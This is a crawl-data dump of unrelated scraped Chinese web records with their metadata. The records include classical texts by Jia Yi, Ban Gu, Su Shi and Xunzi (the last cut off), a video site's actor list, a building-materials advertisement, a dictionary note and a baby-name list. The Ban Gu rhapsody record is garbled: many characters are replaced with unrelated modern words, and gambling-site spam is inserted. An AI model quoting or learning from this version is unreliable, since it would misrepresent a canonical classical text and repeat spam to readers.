吳沚默 陳嘉嘉 王樹熹 區明妙\n黎耀祥 陳豪 李佳芯 江美儀 龔嘉欣 高海寧 麥明詩 謝東閔 江嘉敏 鄭子誠 孫慧雪 李成昌 樊亦敏 馬海倫 譚嘉儀 吳業坤 韓馬利 羅蘭 戴耀明 何遠東 邵卓堯 鄭家生 楊證樺 歐瑞偉 林景程 陳嘉輝 伍富橋 周志康 李豪 盧峻峯 程浩駿 易智遠 陳潁熙 易宇航\n黃智雯 袁偉豪 陳智燊 黃淑儀 古明華 孫慧雪 郭子豪 林景程 林秀怡 周志康 李國麟\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E5%91%A8%E5%BF%97%E5%BA%B7------------.html","date":"2020-10-20T12:21:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107872686.18\/warc\/CC-MAIN-20201020105000-20201020135000-00626.warc.gz","language":"lzh","language_score":0.6067608595,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6067608594894409, \"cmn_Hani_score\": 0.2707567512989044, \"nan_Hani_score\": 0.09932098537683487, \"yue_Hani_score\": 0.02173052355647087}","num_words":243,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.65,"perplexity_score":500.0,"cluster_detection":1} +{"text":"鵩鸟赋\n单阏之岁兮,四月孟夏,庚子日斜兮,鵩集予舍。止于坐隅兮,貌甚闲暇。异物来萃兮,私怪其故。发书占之兮,谶言其度,曰:\"野鸟入室兮,主人将去。\"请问于鵩兮:\"予去何之?吉乎告我,凶言其灾。淹速之度兮,语予其期。\"鵩乃叹息,举首奋翼;口不能言,请对以臆:\n\"万物变化兮,固无休息。斡流而迁兮,或推而还。形气转续兮,变化而蟺。沕穆无穷兮,胡可胜言!祸兮福所依,福兮祸所伏;忧喜聚门兮,吉凶同域。彼吴强大兮,夫差以败;越栖会稽兮,勾践霸世。斯游遂成兮,卒被五刑;傅说胥靡兮,乃相武丁。夫祸之与福兮,何异纠纆;命不可说兮,孰知其极!水激则旱兮,矢激则远;万物回薄兮,振荡相转。云蒸雨降兮,纠错相纷;大钧播物兮,坱圠无垠。天不可预虑兮,道不可预谋;迟速有命兮,焉识其时。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则?千变万化兮,未始有极,忽然为人兮,何足控抟;化为异物兮,又何足患!小智自私兮,贱彼贵我;达人大观兮,物无不可。贪夫殉财兮,烈士殉名。夸者死权兮,品庶每生。怵迫之徒兮,或趋西东;大人不曲兮,意变齐同。愚士系俗兮,窘若囚拘;至人遗物兮,独与道俱。众人惑惑兮,好恶积亿;真人恬漠兮,独与道息。释智遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生兮若浮,其死兮若休;澹乎若深渊止之静,泛乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故蒂芥兮,何足以疑!\"\n吊屈原赋\n恭承嘉惠兮,俟罪长沙;侧闻屈原兮,自沉汨罗。造讬湘流兮,敬吊先生;遭世罔极兮,乃殒厥身。呜呼哀哉!逢时不祥。鸾凤伏竄兮,鸱枭翱翔。闒茸尊显兮,谗谀得志;贤圣逆曳兮,方正倒植。世谓随、夷为溷兮,谓跖、蹻为廉;莫邪为钝兮,铅刀为銛。吁嗟默默,生之无故兮;斡弃周鼎,宝康瓠兮。腾驾罷牛,骖蹇驴兮;骥垂两耳,服盐车兮。章甫荐履,渐不可久兮;嗟苦先生,独离此咎兮。\n讯曰:已矣!国其莫我知兮,独壹郁其谁语?凤漂漂其高逝兮,固自引而远去。袭九渊之神龙兮,沕深潜以自珍;偭蟂獭以隐处兮,夫岂从虾与蛭蟥?所贵圣人之神德兮,远浊世而自藏;使骐骥可得系而羁兮,岂云异夫犬羊?般纷纷其离此尤兮,亦夫子之故也。历九州而其君兮,何必怀此都也?凤凰翔于千仞兮,览德辉而下之;见细德之险徵兮,遥曾击而去之。彼寻常之污渎兮,岂能容夫吞舟之巨鱼?横江湖之鳣鲸兮,固将制于蝼蚁。\n惜誓\n\n\n惜余年老而日衰兮,岁忽忽而不反。\n登苍天而高举兮,历众山而日远。\n观江河之纡曲兮,离四海之沾濡。\n攀北极而一息兮,吸沆瀣以充虚。\n飞朱鸟使先驱兮,驾太一之象舆。\n苍龙蚴虬于左骖兮,白虎骋而为右騑。\n建日月以为盖兮,载玉女于后车。\n驰骛于杳冥之中兮,休息虖昆仑之墟。\n乐穷极而不厌兮,原从容虖神明。\n涉丹水而驼骋兮,右大夏之遗风。\n黄鹄之一举兮,知山川之纡曲。\n再举兮,睹天地之圜方。\n临中国之众人兮,讬回飙乎尚羊。\n乃至少原之野兮,赤松、王乔皆在旁。\n二子拥瑟而调均兮,余因称乎清商。\n澹然而自乐兮,吸众气而翱翔。\n念我长生而久仙兮,不如反余之故乡。\n黄鹄后时而寄处兮,鸱枭群而制之。\n神龙失水而陆居兮,为蝼蚁之所裁。\n夫黄鹄神龙犹如此兮,况贤者之逢乱世哉。\n寿冉冉而日衰兮,固儃回而不息。\n俗流从而不止兮,众枉聚而矫直。\n或偷合而苟进兮,或隐居而深藏。\n苦称量之不审兮,同权概而就衡。\n或推迻而苟容兮,或直言之谔谔。\n伤诚是之不察兮,并纫茅丝以为索。\n方世俗之幽昏兮,眩白黑之美恶。\n放山渊之龟玉兮,相与贵夫砾石。\n梅伯数谏而至醢兮,来革顺志而用国。\n悲仁人之尽节兮,反为小人之所贼。\n比干忠谏而剖心兮,箕子被发而佯狂。\n水背流而源竭兮,木去根而不长。\n非重躯以虑难兮,惜伤身之无功。\n已矣哉!独不见夫鸾凤之高翔兮,乃集大皇之野。\n循四极而回周兮,见盛德而后下。\n彼圣人之神德兮,远浊世而自藏。\n使麒麟可得羁而系兮,又何以异虖犬羊?","id":"","dump":"CC-MAIN-2021-21","url":"http:\/\/ziyexing.cn\/shici\/jiayi\/jiayi.htm","date":"2021-05-09T11:12:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988966.82\/warc\/CC-MAIN-20210509092814-20210509122814-00071.warc.gz","language":"lzh","language_score":0.4982588589,"language_script":"Hani","minhash_cluster_size":16,"top_langs":"{\"lzh_Hani_score\": 0.4982588589191437, \"cmn_Hani_score\": 0.3053106963634491, \"nan_Hani_score\": 0.08672529458999634, \"wuu_Hani_score\": 0.0375102199614048, \"yue_Hani_score\": 0.036539558321237564, \"jpn_Jpan_score\": 0.028057308867573738}","num_words":45,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.603,"perplexity_score":500.0,"cluster_detection":1} +{"text":"皇冠官网:朝代:两汉 作者:班固 系高顼之玄胄兮,氏中叶之炳灵。飖颽风而蝉蜕兮,雄朔野以扬声。皇十纪而鸿渐兮,有羽仪于上京。\n巨滔天而泯夏兮,录遘愍以行谣。终保己而贻则兮,里上仁之所庐。懿前烈之纯淑兮,贫与约其必济。\n咨孤蒙之眇眇兮,将圮绝而罔阶。忘余身之脚殉兮,违世业之可怀。靖潜判处永思兮,经日月而隆近。\n匪党人之不敢拾兮,庶斯言之不原罪。 魂茕茕与神交兮,至诚湿疹宵寐。\n梦登山而尉迟眺兮,觌幽人之仿照彿。倾葛藟而授余兮,眷峻谷曰必堕。颌昕寤而仰怀兮,心蒙蒙言未察。\n黄神邈而靡质兮,仪遗谶以臆对。曰乘低而胪神兮,道遐通而不迷。葛绵绵于樛木兮,咏南风以为绥。\n垫惴惴之临浅兮,乃二雅之所祗。既讯尔以吉象兮,又申之以炯戒。盍孟晋以迨群兮,辰倏忽其仍然。\n承灵训其虚徐兮,鎶盘桓而且俟。惟天地之无穷兮,鲜生民之晦在。\n纷寨邅与蹇连兮,何艰多而智寡。上圣迕而后忽兮,虽群黎之所御。昔卫叔之御昆兮,昆为寇而丧予。\n管转弯弧意欲毙仇兮,仇作后而成己。变化故而相诡兮,孰云预其之本!雍造怨而再行新人奖兮,丁繇惠而被戮。\n栗取吊于逌吉兮,王膺庆于所戚。叛回穴其若兹兮,北叟甚诸法其倚伏。单治里而外凋兮,张建襮而内迫。聿中和为庶几兮,颜与冉又不得。\n溺招路以从己兮,曰孔氏言并未可。福慆慆而不萉兮,卒陨身乎世祸。游圣门而靡救兮,虽覆醢其何调补?固行行其必奸兮,免盗内乱为赖道。\n形气湿疹根柢兮,柯叶汇而零茂。惧魍魉之责景兮,羌并未得其云已。 黎淳耀于高辛兮,芈强劲于南汜。嬴取威于伯仪兮,姜本支乎三趾。\n既仁得其信然兮,仰天路而同轨。东邻虐而歼仁兮,王合位乎三五。戎女烈而丧孝兮,伯徂归入龙虎。\n交回师以成命兮,重醉行而自耦。如雷鳞漦于夏庭兮,匝三正而灭姬。\n巽羽化于宣宫兮,弥五辟而成灾。道粗壮而世短兮,夐冥兹而不周。\n胥仍物而鬼诹兮,乃穷宙而约幽。妫巢姜于孺筮兮,旦筭祀于契龟。宣曹兴败于下梦兮,鲁卫名谥于铭谣。\n妣聆呱而劾石兮,许相理而鞫条。道混成旅团而大自然兮,法术同原而分流。神先心以定命兮,命随从以消息。兀流迁其不济兮,故遭到罹而嬴限。\n三栾同于一体兮,虽移易而不托斯。洞参差其纷拢兮,斯众兆之所惑。周贾荡而贡愤兮,齐死生与祸福。\n外用爽言以矫情兮,信畏牺而忌鵩。 所贵圣人至论兮,顺天性而断谊。物有欲而不居兮,亦有恶而不避。\n死守孔约而不贰兮,乃輶德而无累官。三仁殊于完全一致兮,夷惠舛而齐声。\n木偃息以蕃魏兮,申重茧以存荆。纪焚躬以卫上兮,皓颐志而弗揽。侯草木之区别兮,苟能实其必荣。要没世而不朽兮,乃先民之所程。\n观天网之纮覆兮,鉴棐谌而互为青。谟祖宗之大猷兮,亦邻德而助信。\n虞韶美而仪凤兮,孔忘味于千载。素文信而厎麟兮,汉宾祚于异代。通晓魂魄而感物兮,神动气而入微。养流睇而猿号兮,李虎发而石开。\n非至诚其焉通兮,苟无实其孰信?习末技言必定兮,矧耽躬于道真为。安孔昊而上下兮,纬群龙之所经。\n朝贞观而夕化兮,言諠己而遗形。若胤彭而偕老兮,诉来哲而通情。 内乱曰:天造草昧,而立性命兮。\n复心弘道,惟圣贤兮。浑元运物,流不处兮。保身遗名,民之表兮。\n舍生取谊,以道用兮。悲伤夭物,忝莫痛兮。\n皓尔太素,曷渝色兮。尚越其几,沦官网神域兮。【皇冠官网】。\n本文来源:皇冠-www.movemymailtomac.com","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.movemymailtomac.com\/gushi\/5351.html","date":"2021-07-26T13:19:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152129.33\/warc\/CC-MAIN-20210726120442-20210726150442-00562.warc.gz","language":"lzh","language_score":0.4777266085,"language_script":"Hani","minhash_cluster_size":18,"top_langs":"{\"lzh_Hani_score\": 0.47772660851478577, \"cmn_Hani_score\": 0.3052096366882324, \"nan_Hani_score\": 0.06369435787200928, \"yue_Hani_score\": 0.06151653453707695, \"jpn_Jpan_score\": 0.04261128976941109, \"wuu_Hani_score\": 0.03662744536995888}","num_words":36,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.658,"perplexity_score":500.0,"cluster_detection":1} +{"text":"應詔集伊尹論\n辦天下之大事者,有天下之大節者也。立天下之大節者,狹天下者也。夫以天下之大,而不足以動其心,則天下之大節有不足立,而大事有不足辦者矣。\n今夫匹夫匹婦皆知潔廉忠信之為美也,使其果潔廉而忠信,則其智慮,未始不如王公大人之能也。唯其所爭者,止於簞食豆羹,而簞食豆羹足以動其心,則宜其智慮之不出乎此也。簞食豆羹,非其道不取,則一鄉之人,莫敢以不正犯之矣。一鄉之人,莫敢以不正犯之,而不能辦一鄉之事者,未之有也。推此而上,其不取者愈大,則其所辦者愈遠矣。讓天下與讓簞食豆羹,無以異也。治天下與治一鄉,亦無以異也。然而不能者,有所蔽也。天下之富,是簞食豆羹之積也。天下之大,是一鄉之推也。非千金之子,不能運千金之資。販夫販婦得一金而不知其所措,非智不若,所居之卑也。\n孟子曰:「伊尹耕於有莘之野,非其道也,非其義也,雖祿之天下,弗受也。」夫天下不能動其心,是故其才全。以其全才而制天下,是故臨大事而不亂。古之君子,必有高世之行,非茍求為異而已。卿相之位,千金之富,有所不屑,將以自廣其心,使窮達利害不能為之芥蒂,以全其才,而欲有所為耳。後之君子,蓋亦嘗有其志矣,得失亂其中,而榮辱奪其外,是以役役至於老死而不暇,亦足悲矣。孔子敘書至於舜、禹、臯陶相讓之際,蓋未嘗不太息也。夫以朝廷之尊,而行匹夫之讓,孔子安取哉?取其不汲汲於富貴,有以大服天下之心焉耳。\n夫太甲之廢,天下未嘗有是,而伊尹始行之,天下不以為驚。以臣放君,天下不以為僭。既放而復立,太甲不以為專。何則?其素所不屑者,足以取信於天下也。彼其視天下眇然不足以動其心,而豈忍以廢放其君求利也哉。\n後之君子,蹈常而習故,惴惴焉懼不免於天下,一為希闊之行,則天下群起而誚之。不知求其素,而以為古今之變時有所不可者矣,亦已過矣夫。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/i\/i04\/7034.htm","date":"2021-12-02T13:30:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00279.warc.gz","language":"lzh","language_score":0.5479785204,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5479785203933716, \"cmn_Hani_score\": 0.39085760712623596, \"nan_Hani_score\": 0.03597872704267502, \"wuu_Hani_score\": 0.022166436538100243}","num_words":6,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.731,"perplexity_score":500.0,"cluster_detection":1} +{"text":"廣東省崇匠建材有限公司公司專業研發,設計和生產,銷售與OEM定制服務于一體的建筑裝飾材料企業,擁有5臺配備全伺服電動數控轉塔沖床、5臺全伺服電動液數控折彎機.價值超過1500萬元的自動化設備、10臺高精密的各型折彎機、5臺萬能方通機、公司從德國SCHUTZE進口的全自動現代化噴涂生產線,可以全天候噴涂氟炭、油漆、粉末、烤瓷等各種表面烤漆。\n作為一家敢于創新的鋁質建筑材料公司,廠家可定做造型大型鋁單板,沖孔鋁單板、石紋木紋鋁單板 、雕花鋁單板等、另有集成吊頂、U形鋁方通條、鋁型材方管,花管圓管、以及3003鋁板、金屬天花掛板、造型天花、拉網鋁網板、鋁格柵窗花、金屬護墻板、裝飾鋁板、鋁材,吊頂鋁天花及相關配件。鋁板表面處理有:粉末噴涂氟碳烤漆,熱轉印圖案,仿木紋,仿石紋,青花瓷等復古或現代效果,讓建筑物變得具有藝術個性,產品材料是優質環保鋁合金加工而成,具備環保,防火,抗氧化等優點,使用壽命長達幾十年,是國家基建工程常用鋁合金建材。\n崇匠建材為建筑裝飾公司提供生產安裝一條龍的優質環保建筑材料,宏鋁經過多年的經營建立了完善的產品體系,通過傳統渠道和互聯網渠道相結合的方式,形成了完整的營銷脈絡,使貿易方式更加高效豐富!\n北京 天津 上海 重慶 常德 長沙 邵陽 永州 懷化 益陽 岳陽 張家界 株洲 湘潭 衡陽 郴州 婁底 湘西 洛陽 焦作 三門峽 鄭州 新鄉 鶴壁 安陽 濮陽 開封 商丘 許昌 漯河 平頂山 南陽 信陽 周口 駐馬店 石家莊 張家口 秦皇島 承德 唐山 廊坊 保定 滄州 衡水 邢臺 邯鄲 南京 徐州 連云港 宿遷 鹽城 揚州 泰州 南通 鎮江 常州 無錫 蘇州 淮安 南昌 九江 景德鎮 鷹潭 新余 萍鄉 贛州 上饒 撫州 宜春 吉安 昆明 曲靖 玉溪 麗江 昭通 臨滄 保山 德宏 怒江 迪慶 大理 楚雄 紅河 文山 西雙版納 普洱 武漢 十堰 襄樊 荊門 孝感 黃岡 鄂州 黃石 咸寧 荊州 宜昌 隨州 恩施 廣州 深圳 汕頭 珠海 清遠 韶關 河源 梅州 潮州 揭陽 汕尾 惠州 江門 佛山 肇慶 云浮 陽江 茂名 湛江 東莞 大同 太原 朔州 陽泉 長治 晉城 忻州 呂梁 晉中 臨汾 運城 沈陽 朝陽 阜新 鐵嶺 撫順 本溪 遼陽 鞍山 丹東 大連 營口 盤錦 錦州 葫蘆島 長春 白城 松原 吉林 四平 遼源 通化 白山 延邊 杭州 湖州 嘉興 舟山 寧波 紹興 金華 臺州 溫州 麗水 衢州 合肥 宿州 淮北 阜陽 蚌埠 淮南 滁州 馬鞍山 蕪湖 銅陵 安慶 黃山 六安 巢湖 池州 宣城 亳州 福州 南平 三明 莆田 泉州 廈門 漳州 龍巖 寧德 濟南 聊城 德州 東營 淄博 濰坊 煙臺 威海 青島 日照 臨沂 棗莊 濟寧 泰安 萊蕪 濱州 菏澤 呼和浩特 包頭 烏海 赤峰 呼倫貝爾 興安盟 錫林郭勒盟 烏蘭察布 巴彥淖爾 阿拉善盟 通遼 鄂爾多斯 哈爾濱 齊齊哈爾 黑河 大慶 伊春 鶴崗 佳木斯 雙鴨山 七臺河 雞西 牡丹江 綏化 大興安嶺 南寧 桂林 柳州 梧州 貴港 玉林 欽州 北海 防城港 百色 河池 賀州 來賓 崇左 ???\/a> 三亞 成都 廣元 綿陽 德陽 南充 廣安 遂寧 內江 樂山 自貢 瀘州 宜賓 攀枝花 巴中 達州 資陽 眉山 雅安 阿壩 甘孜 涼山 貴陽 六盤水 遵義 畢節 銅仁 安順 黔東南 黔南 黔西南 拉薩 那曲 昌都 林芝 山南 日喀則 阿里 西安 延安 銅川 咸陽 渭南 寶雞 漢中 榆林 安康 商洛 蘭州 金昌 白銀 天水 酒泉 張掖 武威 慶陽 平涼 定西 隴南 臨夏 甘南 西寧 海東 海北 海南 黃南 果洛 玉樹 海西 銀川 石嘴山 吳忠 固原 中衛 烏魯木齊 克拉瑪依 喀什 阿克蘇 和田 吐魯番 哈密 克孜勒蘇 博爾塔拉 昌吉 巴音郭楞 伊犁哈薩克 伊犁 塔城 阿勒泰 醴陵 鄢陵縣 濟源 中山 大豐 武夷山 張北 長葛 諸城 墾利 和縣 霍邱 桐城 臨猗 清徐 嘉峪關 仙桃 潛江 神農架 天門 永新 庫爾勒 阿拉爾 石河子 圖木舒克 五家渠 遷安 海拉爾 思茅 海南省直轄 襄陽 阿泰勒 克孜勒蘇柯爾克孜 通遼市 烏海市 巴彥倬爾","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.essensspain.com\/guanyuwomen\/","date":"2022-07-01T05:42:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103920118.49\/warc\/CC-MAIN-20220701034437-20220701064437-00360.warc.gz","language":"lzh","language_score":0.551543951,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5515439510345459, \"nan_Hani_score\": 0.2567564845085144, \"cmn_Hani_score\": 0.18034528195858002}","num_words":376,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.573,"perplexity_score":500.0,"cluster_detection":1} +{"text":"武方切。十部。\n按此條當以此八字冠於從木亡聲之上。而刪去棟也二字。門部䦲謂之樀、正其例也。棟與梁不同物。棟言東西者。梁言南北者。上文言棟而未及梁。故於此補之。杗𢊺者、杗之言网也。𢊺者、中庭也。架兩大梁、而後可定中庭也。釋宮曰。杗𢊺謂之梁。其上楹謂之棳。今宮室皆如此。不得謂梁爲棟也。","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.shuowen.org\/view\/3639","date":"2023-10-05T00:11:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511424.48\/warc\/CC-MAIN-20231004220037-20231005010037-00444.warc.gz","language":"lzh","language_score":0.5949217677,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5949217677116394, \"cmn_Hani_score\": 0.27989375591278076, \"jpn_Jpan_score\": 0.055429548025131226, \"wuu_Hani_score\": 0.028847504407167435, \"yue_Hani_score\": 0.018328770995140076}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.595,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n陶驭洁 陶盛燕 陶盈洁 陶渊莉 陶渊玲 陶渊颖 陶睿蓉 陶莉敏 陶媛宏 陶媛虹 陶沅红 陶添瑶 陶冰燕 陶庆芬 陶远红 陶原红 陶志琴 陶宜玲 陶元霞 陶燕香 陶怡筠 陶彩娜 陶美燕 陶洪洁 陶佳婧 陶靖芳 陶秋媛 陶秋莹 陶喜美 陶彦瑛 陶焉琳 陶媛露 陶謦莹 陶沁蓉 陶璐莹 陶洪玉 陶馨莹 陶洪怡 陶恒玉 陶粼玉 陶酆琼 陶俊莉 陶燕辉 陶泉文 陶向英 陶星玉 陶彬玲 陶迎莹 陶依梅 陶衍玉 陶碧霞 陶陆红 陶依娟 陶伊娟 陶宏文 陶维萍 陶玲波 陶爱娜 陶义文 陶霞霞 陶淑瑶 陶颜娟 陶思婷 陶莹滢 陶雅萍 陶弦文 陶嫣如 陶欢红 陶必悦 陶政芳 陶林瑶 陶街花 陶春瑛 陶雯婷 陶紫玉 陶梓玉 陶之玉 陶叶婷 陶秀玉 陶智梅 陶一霞 陶林怡 陶久英 陶常玉 陶连霞 陶可娜 陶乐红 陶喜红 陶宝红 陶明红 陶健悦 陶向丽 陶宝丽 陶怡霖 陶汝娟 陶金娟 陶芳萍 陶妍蓓 陶玉倩 陶宜琳 陶若怡 陶恩茹 陶曾萍 陶银玲 陶俪萍 陶方英 陶玉婧 陶忻秀 陶正冉 陶紫娟 陶书秀 陶新秀 陶书琳 陶霞妹 陶芯玲 陶芝玲 陶松玲 陶胜文 陶昀文 陶家茹 陶名琳 陶涵英 陶嘉文 陶粉霞 陶悦函 陶瑶倩 陶知倩 陶德倩 陶妲倩 陶亦倩 陶欧文 陶抒文 陶绪琴 陶家梅 陶素芬 陶家玲 陶珍英 陶玲燕 陶怡祁 陶珍文 陶永丽 陶永莉 陶自玲 陶翠萍 陶树蓉 陶君洁 陶璐瑶 陶怡淼 陶君颖 陶君莹 陶倩雨 陶雨娜 陶君嫣 陶君婷 陶娅君 陶曙婷 陶仪娜 陶倩君 陶莉君 陶玲君 陶琳君 陶楚蓉 陶莉梅 陶晋文 陶娅娅 陶旦娅 陶怡笑 陶兴英 陶一美 陶婧予 陶婧羽 陶婧语 陶婧宇 陶函芳 陶琴芬 陶泊茹 陶柏茹 陶保玲 陶妍缈 陶修美 陶沃雪 陶霄瑶 陶卉瑶 陶仟倩 陶靓倩 陶昌英 陶莉雯 陶茂花 陶雪倩 陶志萍 陶琼玲 陶咨妍 陶汁妍 陶枝燕 陶子燕 陶雅红 陶卫萍 陶智艳 陶纸燕 陶制燕 陶知燕 陶脂燕 陶栀燕 陶芝燕 陶志燕 陶智燕 陶沐瑶 陶俐娜 陶沐洁 陶艳娥 陶立英 陶凤琴 陶亚洁 陶慧芳 陶雅洁 陶彬洁 陶泽芳 陶玲杰 陶巧琳 陶旭瑶 陶焯娅 陶菊美 陶国芳 陶殷倩 陶茵倩 陶晓茹 陶越红 陶翠英 陶娜竹 陶怡嘉 陶怡冀 陶思悦 陶章玉 陶素燕 陶韵蓉 陶歆冉 陶方玉 陶泯洁 陶郁洁 陶语洁 陶婉瑶 陶阙瑶 陶苍瑶 陶卉茹 陶沁雪 陶沁瑶 陶世妹 陶儒文 陶骄雪 陶傲雪 陶格瑶 陶砚瑶 陶静颖 陶可文 陶娜汝 陶怡佳 陶缝玲 陶文艳 陶利娟 陶昌文 陶万雪 陶新丽 陶书萍 陶春怡 陶芝怡 陶瑞英 陶瑞丽 陶祺玲 陶熳玲 陶莉栗 陶福英 陶秀文 陶原霞 陶成燕 陶俊颖 陶志琼 陶慕怡 陶语倩 陶哓梅 陶玉丽 陶亚梅 陶菊芬 陶李悦 陶柳丽 陶柳莉 陶娜学 陶军洁 陶雯怡 陶竞雪 陶秀芳 陶士琴 陶正洁 陶应芬 陶羽婷 陶亚美 陶剑玲 陶熳丽 陶熳琳 陶彦玲 陶鹿梅","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/scw12.cn\/show_4E0.aspx","date":"2023-11-30T20:39:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100232.63\/warc\/CC-MAIN-20231130193829-20231130223829-00330.warc.gz","language":"lzh","language_score":0.7511706948,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.7511706948280334, \"cmn_Hani_score\": 0.15269120037555695, \"wuu_Hani_score\": 0.0452200248837471, \"yue_Hani_score\": 0.025846309959888458, \"jpn_Jpan_score\": 0.023170139640569687}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.746,"perplexity_score":500.0,"cluster_detection":1} +{"text":"荀子正名篇第二十二\n後王之成名,刑名從商,爵名從周,文名從禮,散名之加於萬物者,則從諸夏之成俗曲期,遠方異俗之鄉,則因之而為通。散名之在人者,生之所以然者謂之性,性之和所生,精合感應,不事而自然者謂之性。性之好惡喜怒哀樂,謂之情。情然而心為之擇,謂之慮。心慮而能為之動,謂之偽。慮積焉能習焉而後成,謂之偽;正利而為,謂之事;正義而為,謂之行。所以知之在人者,謂之知;知有所合,謂之智。智所以能之在人者,謂之能;能有所合,謂之能。性傷謂之病,節遇謂之命,是散名之在人者也,是後王之成名也。\n故王者之制名,名定而實辨,道行而志通,則慎率民而一焉。故析辭擅作以亂正名,使民疑惑,人多辨訟,則謂之大姦。其罪猶為符節度量之罪也。故其民莫敢託為奇辭以亂正名,故其民慤;慤則易使,易使則公。其民莫敢託為奇辭以亂正名,故壹於道法,而謹於循令矣。如是則其迹長矣。迹長功成,治之極也。是謹於守名約之功也。今聖王沒,名守慢,奇辭起,名實亂,是非之形不明,則雖守法之吏,誦數之儒,亦皆亂也。若有王者起,必將有循於舊名,有作於新名。然則所為有名,與所緣以同異,與制名之樞要,不可不察也。\n異形離心交喻,異物名實玄紐,貴賤不明,同異不別。如是,則志必有不喻之患,而事必有困廢之禍。故知者為之分別制名以指實,上以明貴賤,下以別同異。貴賤明,同異別,如是則志無不喻之患,事無困廢之禍,此所為有名也。然則何緣而以同異?曰:緣天官。凡同類同情者,其天官之意物也同。故比方之疑似而通,是所以共其約名以相期也。形體色理,以目異;聲音清濁調竽奇聲,以耳異;甘苦鹹淡辛酸奇味,以口異;香臭芬鬱腥臊洒酸奇臭,以鼻異;疾養凔熱滑鈹輕重,以形體異;說故喜怒哀樂愛惡欲,以心異。心有徵知,徵知,則緣耳而知聲可也,緣目而知形可也。然而徵知必將待天官之當簿其類,然後可也。五官簿之而不知,心徵之而無說,則人莫不然謂之不知。此所緣而以同異也。然後隨而命之,同則同之,異則異之。單足以喻則單,單不足以喻則兼,單與兼無所相避則共,雖共,不為害矣。知異實者之異名也,故使異實者莫不異名也,不可亂也,猶使異實者莫不同名也。故萬物雖衆,有時而欲偏舉之,故謂之物;物也者,大共名也。推而共之,共則有共,至於無共,然後止。有時而欲偏舉之,故謂之鳥獸。鳥獸也者,大別名也。推而別之,別則有別,至於無別然後止。名無固宜,約之以命,約定俗成,謂之宜,異於約則謂之不宜。名無固實,約之以命實,約定俗成,謂之實名。名有固善,徑易而不拂,謂之善名。物有同狀而異所者,有異狀而同所者,可別也。狀同而為異所者,雖可合,謂之二實。狀變而實無別而為異者,謂之化。有化而無別,謂之一實。此事之所以稽實定數也。此制名之樞要也。後王之成名,不可不察也。\n見侮不辱,聖人不愛己,殺盜非殺人也,此惑於用名以亂名者也。驗之所以為有名,而觀其孰行,則能禁之矣。山淵平,情欲寡,芻豢不加甘,大鍾不加樂,此惑於用實,以亂名者也。驗之所緣而以同異,而觀其孰調,則能禁之矣。非而謁楹,有牛馬非馬也,此惑於用名以亂實者也。驗之名約,以其所受,悖其所辭,則能禁之矣。凡邪說辟言之離正道而擅作者,無不類於三惑者矣。故明君知其分而不與辨也。\n夫民易一以道,而不可與共故。故明君臨之以埶,道之以道,申之以命,章之以論,禁之以刑。故民之化道也如神,辨埶惡用矣哉!今聖王沒,天下亂,姦言起,君子無埶以臨之,無刑以禁之,故辨說也。實不喻,然後命,命不喻,然後期,期不喻,然後說,說不喻,然後辨。故期命辨說也者,用之大文也,而王業之始也。名聞而實喻,名之用也。累而成文,名之麗也。用麗俱得,謂之知名。名也者,所以期累實也。辭也者,兼異實之名以論一意也。辨說也者,不異實名以喻動靜之道也。期命也者,辨說之用也。辨說也者,心之象道也。心也者,道之工宰也。道也者,治之經理也。心合於道,說合於心